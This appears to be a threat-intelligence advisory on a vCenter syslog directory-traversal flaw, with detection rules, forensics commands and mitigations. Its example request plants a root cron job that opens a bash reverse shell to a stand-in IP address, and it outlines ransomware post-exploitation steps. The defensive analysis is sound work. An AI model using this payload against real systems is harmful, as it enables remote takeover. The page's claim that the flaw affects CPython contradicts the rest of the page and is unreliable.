Skip to content
Hermes Codex

CVE-2026-59310: Remote Code Execution in VMware vCenter Server via Syslog Service Directory Traversal

HERMES

HERMES THREAT SCORE & VIRTUALIZATION FABRIC TAKEOVER

Target: VMware vCenter Server & VMware Cloud Foundation
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 evaluates CVE-2026-59310 at 9.8 (Critical) and CVSS v4.0 scores 9.3 to 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is exceptionally high: vCenter Server is the central control plane for enterprise ESXi hypervisors. Gaining root execution on the vCenter Photon OS appliance immediately yields unconstrained lateral access across all guest virtual machines, snapshot storage, and disaster recovery replication links.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-59310: Remote Code Execution in VMware vCenter Server via Syslog Service Directory TraversalVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTCPython Interpreter & Standard Library
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

VMware vCenter Server centralizes management for VMware ESXi clusters, virtual networking (vSphere Distributed Switches), storage policies (vSAN), and high availability (HA).

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-59310CISA KEV Catalog Entry
Vulnerable Servicevmware-syslog-serviceEmbedded syslog collector and log rotation manager
Appliance OSVMware Photon OSLinux-based Virtual Appliance (VCSA)
Network VectorNetwork (AV:N), TCP Port 514 / 1514 / 443Management network and syslog ingest
Affected VersionsvCenter Server 7.0 (all updates), 8.0 < 8.0U3d; Cloud Foundation 4.x, 5.xGlobal enterprise hybrid clouds
Fixed VersionsvCenter 8.0U3d, 7.0U3t; VCF patchesBroadcom Security Advisory VMSA-2026-0012
Threat Actor TrackingRansomware affiliates (Akira, BlackCat / ALPHV)Virtual machine encryption campaigns

2. In-Depth Technical Decomposition: Syslog Traversal to Root Shell

Section titled “2. In-Depth Technical Decomposition: Syslog Traversal to Root Shell”

A. Traversal Flaw in Log Stream Handler

Section titled “A. Traversal Flaw in Log Stream Handler”

The vCenter Syslog service accepts incoming syslog streams and handles dynamic log rotation directives. When configuring dynamic stream targets or parsing log rotation headers, the service accepts a client-provided file prefix identifier:

# Conceptual logic flaw in syslog rotation parser
def handle_log_archive(stream_id, filename_prefix, data_chunk):
    # INSECURE: Fails to sanitize filename_prefix against relative path traversal
    target_path = os.path.join("/var/log/vmware/syslog/", filename_prefix + ".log")
    with open(target_path, "ab") as f:
        f.write(data_chunk)

Because filename_prefix is concatenated without strict validation against .. or null-byte truncations, an adversary can submit:

POST /syslog/api/v1/rotate HTTP/1.1
Host: vcenter.corp.internal:443
Content-Type: application/json


{
  "stream_id": "audit-feed",
  "log_prefix": "../../../../../etc/cron.d/pwn_job",
  "content": "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/198.51.100.22/4444 0>&1'\n"
}
+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-59310 ATTACK CHAIN ARCHITECTURE                                   |
+----------------------------------------------------------------------------------------------------+


   [Remote Adversary]
          │
          │ [1] Network request with traversal sequence ("../../../../../etc/cron.d/pwn")
          ▼
   [vCenter Syslog Service (Photon OS Appliance)]
          │
          ├───► 1. Path Resolution Discrepancy:
          │     - Resolves "/var/log/vmware/syslog/../../../../../etc/cron.d/pwn"
          │     - Normalizes to absolute path: "/etc/cron.d/pwn"
          │
          ├───► 2. Arbitrary File Creation:
          │     - Syslog daemon runs as privileged user (root)
          │     - Flushes attacker controlled shell commands into crontab file
          │
          ▼
   [Linux Crond Execution (Next Minute)]
          │
          └───► Cron executes reverse shell script as root:
                - Establishes interactive root shell on vCenter Server
                - Dumps vpxuser credentials to access connected ESXi hypervisors
                - Executes mass encryption of VMDK disk images
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

Section titled “3. Threat Intelligence, CISA KEV & Exploitation in the Wild”
  • Ransomware Operations: Threat actors have weaponized CVE-2026-59310 in multi-stage extortion campaigns. Once root is established on vCenter:
    1. Attackers extract /etc/vmware-vpx/vcdb.properties and the PostgreSQL database credentials.
    2. They dump the vpxuser credentials used to communicate with ESXi hosts.
    3. They connect via SSH to ESXi hosts, terminate virtual machine processes (esxcli vm process kill), and encrypt .vmdk files using custom Linux lockers.
  • CISA KEV Mandatory Action: Added under urgent operational directives requiring federal agencies to disconnect or patch instances within 14 days.

4. MITRE ATT&CK Mapping

Section titled “4. MITRE ATT&CK Mapping”
TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationRemote network delivery of directory traversal payload
PersistenceT1053.003Scheduled Task/Job: CronWriting scheduled task to /etc/cron.d/
Privilege EscalationT1068Exploitation for Privilege EscalationGaining root execution via appliance system services
Lateral MovementT1021.004Remote Services: SSHPivoting from vCenter to ESXi nodes using harvested SSH keys
ImpactT1486Data Encrypted for ImpactMass encryption of virtual machine disk storage

5. Detection Engineering & Telemetry

Section titled “5. Detection Engineering & Telemetry”

A. Suricata Detection Rule

Section titled “A. Suricata Detection Rule”
alert http any any -> $VCENTER_SERVERS any (
  msg:"HERMES DEFENSE - VMware vCenter Syslog Service Directory Traversal (CVE-2026-59310)";
  flow:established,to_server;
  http.uri; content:"/syslog/";
  http.request_body; content:"..";
  http.request_body; pcre:"/(\.\.\/|\.\.\\){2,}(etc\/cron|root\/\.ssh|var\/spool)/i";
  classtype:web-application-attack;
  sid:202659310;
  rev:1;
  reference:cve,2026-59310;
)

B. Sigma Detection Rule

Section titled “B. Sigma Detection Rule”
title: File Creation in Cron Directories by VMware Syslog Daemon
id: 3c8e1092-7489-4a9f-9c01-59310c026e01
status: high
description: Detects unexpected file write events into /etc/cron* or /root/.ssh initiated by vmware-syslog or java processes.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: linux
  category: file_event
detection:
  selection_target:
    TargetFilename|startswith:
      - '/etc/cron.'
      - '/etc/crontab'
      - '/root/.ssh/'
  selection_process:
    Image|endswith:
      - 'vmware-syslog-service'
      - 'syslogd'
      - 'java'
  condition: selection_target and selection_process
falsepositives:
  - Official VMware updates or automated backup scripts.
level: critical
tags:
  - attack.persistence
  - attack.t1053.003
  - attack.t1190

6. Digital Forensics & Incident Response (DFIR)

Section titled “6. Digital Forensics & Incident Response (DFIR)”

Appliance Forensics Triage Checklist:

Section titled “Appliance Forensics Triage Checklist:”
  1. Audit Scheduled Tasks:
    Terminal window
    ls -lat /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/crontabs/
    cat /etc/cron.d/*
  2. Inspect Authorized SSH Keys:
    Terminal window
    cat /root/.ssh/authorized_keys
  3. Review Syslog Service Activity:
    Terminal window
    grep -rn "\.\./" /var/log/vmware/syslog/
    journalctl -u vmware-syslog-service -S "2026-09-01"

Hunting Query (Elasticsearch / OpenSearch):

Section titled “Hunting Query (Elasticsearch / OpenSearch):”
{
  "query": {
    "bool": {
      "must": [
        {
          "wildcard": {
            "process.name": "*syslog*"
          }
        },
        {
          "wildcard": {
            "file.path": "/etc/cron*"
          }
        }
      ]
    }
  }
}

7. Mitigation & Remediation

Section titled “7. Mitigation & Remediation”
  1. Apply Vendor Patch Immediately: Upgrade to Broadcom VMware vCenter Server 8.0U3d or 7.0U3t as specified in VMSA-2026-0012.
  2. Restrict Appliance Network Exposure: Ensure vCenter Server management ports (443, 514, 1514) are strictly accessible only from dedicated management jump hosts, never exposed to employee user subnets or the internet.
  3. Harden Host Access: Disable SSH on ESXi hypervisors and ensure ESXi Lockdown Mode is strictly enabled.
  4. Isolate Virtualization Backups: Ensure all immutable backups and snapshot stores are stored off-cluster with multi-factor authorization on restore operations.

8. References & Advisories

Section titled “8. References & Advisories”